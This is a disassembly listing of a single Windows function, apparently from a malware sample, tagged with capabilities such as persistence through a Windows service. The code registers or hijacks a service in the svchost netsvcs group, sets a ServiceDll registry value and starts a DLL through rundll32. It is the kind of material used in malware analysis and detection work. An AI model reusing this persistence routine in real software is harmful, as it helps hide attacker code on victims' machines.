Function at 0x401600
Capabilities:
Create process on windows
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x5ac
mov eax, dword [0x42c400]
xor eax, esp
mov dword [esp + 0x5a4], eax
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [esp + 0x4ad]
push ebx
push eax
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], ebx
xor esi, esi
mov byte [esp + 0x4b4], bl
call fcn.0041c150
add esp, 0xc
push 0x103
lea ecx, [esp + 0x195]
push ebx
push ecx
mov byte [esp + 0x19c], bl
call fcn.0041c150
add esp, 0xc
push 0x103
lea edx, [esp + 0x3a5]
push ebx
push edx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
xor ebp, ebp
mov byte [esp + 0x3ac], bl
call fcn.0041c150
add esp, 0xc
push 0x103
lea eax, [esp + 0x8d]
push ebx
push eax
mov byte [esp + 0x94], bl
call fcn.0041c150
add esp, 0xc
lea eax, [esp + 0x88]
call fcn.0040b3a0
lea eax, [esp + 0x88]
add eax, 0xffffffff
mov cl, byte [eax + 1]
add eax, 1
test cl, cl
jne 0x4016b8
mov ecx, dword [str.IsAgentIsaSvc.dll]
mov edx, dword [0x424d34]
mov dword [eax], ecx
mov ecx, dword [0x424d38]
mov dword [eax + 4], edx
mov edx, dword [0x424d3c]
push 0xf003f
mov dword [eax + 8], ecx
mov ecx, dword [0x424d40]
push ebx
mov dword [eax + 0xc], edx
push ebx
mov dword [eax + 0x10], ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp eax, ebx
mov dword [esp + 0x2c], eax
jne 0x40174e
push str.IsaSvc
push str.__s__OpenSCManager
push 0xb6
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405d70
add esp, 0x14
push str.IsaSvc
push str.__s__OpenSCManager
push 0xb6
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405a90
add esp, 0x14
jmp 0x401b86
push 0x1000
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x28], edi
je 0x401789
push 0xc4
push str.InstallService
push 0x1000
push edi
mov ecx, str..Setup.cpp
call fcn.00408090
add esp, 0x10
push 0x1000
push edi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
mov esi, str.netsvcs
call fcn.00407960
add esp, 0xc
test eax, eax
jne 0x4017f1
push esi
push str.IsaSvc
push str.__s__Read_reg_value__s
push 0xc9
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405d70
push esi
push str.IsaSvc
push str.__s__Read_reg_value__s
push 0xc9
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405a90
add esp, 0x30
mov esi, ebx
jmp 0x401b5b
mov edx, edi
cmp byte [edx], bl
je 0x401946
jmp 0x401800
push edi
lea eax, [esp + 0x3a4]
push str.GlobalSvc__s_Mutex
push eax
call fcn.00413567
add esp, 0xc
lea ecx, [esp + 0x3a0]
push ecx
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, eax
test esi, esi
jne 0x401926
push str.IsaSvc
push edi
call fcn.004157a3
add esp, 8
test eax, eax
je 0x401926
mov edx, dword [esp + 0x2c]
push 0xf01ff
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
test eax, eax
mov dword [esp + 0x24], eax
je 0x401906
push 0x103
lea eax, [esp + 0x29d]
push esi
push eax
mov byte [esp + 0x2a4], 0
call fcn.0041c150
add esp, 0xc
push edi
lea ecx, [esp + 0x194]
push str.SYSTEMCurrentControlSetServices_sParameters
push ecx
call fcn.00413567
add esp, 0xc
push 0x104
lea edx, [esp + 0x29c]
push edx
lea eax, [esp + 0x198]
push eax
mov esi, str.ServiceDll
call fcn.00407960
add esp, 0xc
cmp dword [esp + 0x18], 0
jne 0x4018eb
lea ecx, [esp + 0x88]
push ecx
lea edx, [esp + 0x29c]
push edx
call fcn.004157a3
add esp, 8
test eax, eax
jne 0x4018eb
mov dword [esp + 0x18], 1
mov ebp, edi
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [esp + 0x14], 0
je 0x40192d
cmp dword [esp + 0x18], 0
jne 0x401946
jmp 0x40192d
cmp dword [esp + 0x14], 0
jne 0x4018fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x424
jne 0x40192d
mov dword [esp + 0x14], 1
mov ebx, edi
jmp 0x4018fd
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push edi
call fcn.00413610
add eax, 1
mov edi, eax
add esp, 8
cmp byte [edi], 0
jne 0x401800
push 0x43
call dword [sym.imp.USER32.dll_GetSystemMetrics]
xor edi, edi
cmp dword [esp + 0x18], edi
mov esi, eax
je 0x4019b2
cmp esi, edi
ja 0x4019b2
push ebp
call fcn.00407dd0
add esp, 4
test eax, eax
jne 0x401ba1
push ebp
push str.IsaSvc
push str.__s__Set___s__auto_start_fail
push 0x100
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405d70
push ebp
push str.IsaSvc
push str.__s__Set___s__auto_start_fail
push 0x100
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405a90
add esp, 0x30
cmp dword [esp + 0x14], edi
je 0x401a36
cmp esi, edi
ja 0x401a36
push str.netsvcs
lea ecx, [esp + 0x4ac]
push str.__SystemRoot__System32_svchost.exe__k__s
push ecx
call fcn.00413567
add esp, 0xc
push 0x10
lea edx, [esp + 0x4ac]
push edx
push ebx
call fcn.00407b70
add esp, 0xc
test eax, eax
push ebx
jne 0x401c76
push str.IsaSvc
push str.__s__CreateService___s__fail
push 0x12b
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405d70
push ebx
push str.IsaSvc
push str.__s__CreateService___s__fail
push 0x12b
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405a90
add esp, 0x30
lea ebx, [esp + 0x18]
lea edi, [esp + 0x88]
mov dword [esp + 0x18], 0
call fcn.00401e70
cmp dword [esp + 0x18], 0
mov dword [esp + 0x1c], eax
je 0x401b33
test eax, eax
jne 0x401b33
mov ebx, edi
call fcn.0040be00
mov esi, eax
xor ebx, ebx
cmp esi, ebx
jne 0x401aee
push 0x103
lea eax, [esp + 0x29d]
push ebx
push eax
mov byte [esp + 0x2a4], bl
call fcn.0041c150
add esp, 0xc
push 0x40
lea ecx, [esp + 0x48]
push ebx
push ecx
mov dword [esp + 0x4c], ebx
call fcn.0041c150
xor eax, eax
add esp, 0xc
mov edx, edi
push edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
lea eax, [esp + 0x29c]
push str.Rundll32.exe___s__RunUserMode
push eax
mov dword [esp + 0x3c], ebx
call fcn.00413567
add esp, 0xc
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x44]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x2b8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push esi
push str.IsaSvc
push str.__s__Reuse_svchost_InjectDll__d_ok_
push 0x163
push str..Setup.cpp
push 3
mov ecx, str.InstallService
call fcn.00405d70
push esi
push str.IsaSvc
push str.__s__Reuse_svchost_InjectDll__d_ok_
push 0x163
push str..Setup.cpp
push 3
mov ecx, str.InstallService
call fcn.00405a90
add esp, 0x30
mov edi, dword [esp + 0x20]
test edi, edi
je 0x401b42
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x24]
test eax, eax
je 0x401b55
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, dword [esp + 0x28]
xor ebx, ebx
mov ecx, dword [esp + 0x2c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp edi, ebx
je 0x401b86
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
je 0x401b86
push edi
call fcn.00408470
add esp, 4
mov ecx, dword [esp + 0x5b4]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0041310b
add esp, 0x5ac
ret
push 1
push ebp
call fcn.00407c60
add esp, 8
test eax, eax
jne 0x401c00
push ebp
push str.IsaSvc
push str.__s__Starting_the_service__s_fail
push 0x106
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405d70
push ebp
push str.IsaSvc
push str.__s__Starting_the_service__s_fail
push 0x106
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405a90
push ebp
call fcn.00407bf0
add esp, 0x34
jmp 0x4019b2
mov eax, ebp
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x401c05
push 1
push ebp
sub eax, edx
push str.IsaSvc
push str.SOFTWAREISA
mov edx, closesocket
call fcn.00407a50
push ebp
push str.IsaSvc
push str.__s__Restart_old_svchost_CreateService__s_ok_
push 0x10f
push str..Setup.cpp
push 3
mov ecx, str.InstallService
mov esi, 1
call fcn.00405d70
push ebp
push str.IsaSvc
push str.__s__Restart_old_svchost_CreateService__s_ok_
push 0x10f
push str..Setup.cpp
push 3
mov ecx, str.InstallService
call fcn.00405a90
add esp, 0x40
jmp 0x401b46
lea eax, [esp + 0x194]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
call fcn.00413567
add esp, 0xc
push edi
lea ecx, [esp + 0x18]
push ecx
push edi
push 0xf003f
push edi
push edi
push edi
lea edx, [esp + 0x1ac]
push edx
push closesocket
mov dword [esp + 0x38], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401d21
mov edx, dword [esp + 0x14]
test edx, edx
mov edi, edx
mov dword [esp + 0x20], edi
jne 0x401d27
lea eax, [esp + 0x190]
push eax
push str.IsaSvc
push str.__s__CreateKey__s_fail
push 0x133
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405d70
lea ecx, [esp + 0x1a8]
push ecx
push str.IsaSvc
push str.__s__CreateKey__s_fail
push 0x133
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405a90
push ebx
call fcn.00407bf0
add esp, 0x34
jmp 0x401a36
mov dword [esp + 0x20], edi
jmp 0x401cc3
lea eax, [esp + 0x88]
lea esi, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x401d31
sub eax, esi
add eax, 1
push eax
lea eax, [esp + 0x8c]
push eax
push 2
push 0
push str.ServiceDll
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x401da8
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [esp + 0x88]
push ecx
push str.IsaSvc
push str.__s__Set_ServiceDll___s_fail
push 0x13a
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405d70
lea edx, [esp + 0xa0]
push edx
push str.IsaSvc
push str.__s__Set_ServiceDll___s_fail
push 0x13a
jmp 0x401d02
push 1
push ebx
call fcn.00407c60
add esp, 8
test eax, eax
jne 0x401ded
push ebx
push str.IsaSvc
push str.__s__Starting_the_service__s_fail
push 0x141
push str..Setup.cpp
push 1
mov ecx, str.InstallService
call fcn.00405d70
push ebx
push str.IsaSvc
push str.__s__Starting_the_service__s_fail
push 0x141
jmp 0x401d02
mov eax, ebx
lea esi, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x401df2
push 1
push ebx
push str.IsaSvc
sub eax, esi
push str.SOFTWAREISA
mov edx, closesocket
call fcn.00407a50
push ebx
push str.IsaSvc
push str.__s__Reuse_svchost_CreateService__s_ok_
push 0x14a
push str..Setup.cpp
push 3
mov ecx, str.InstallService
mov dword [esp + 0x44], 1
call fcn.00405d70
push ebx
push str.IsaSvc
push str.__s__Reuse_svchost_CreateService__s_ok_
push 0x14a
push str..Setup.cpp
push 3
mov ecx, str.InstallService
call fcn.00405a90
add esp, 0x40
jmp 0x401b37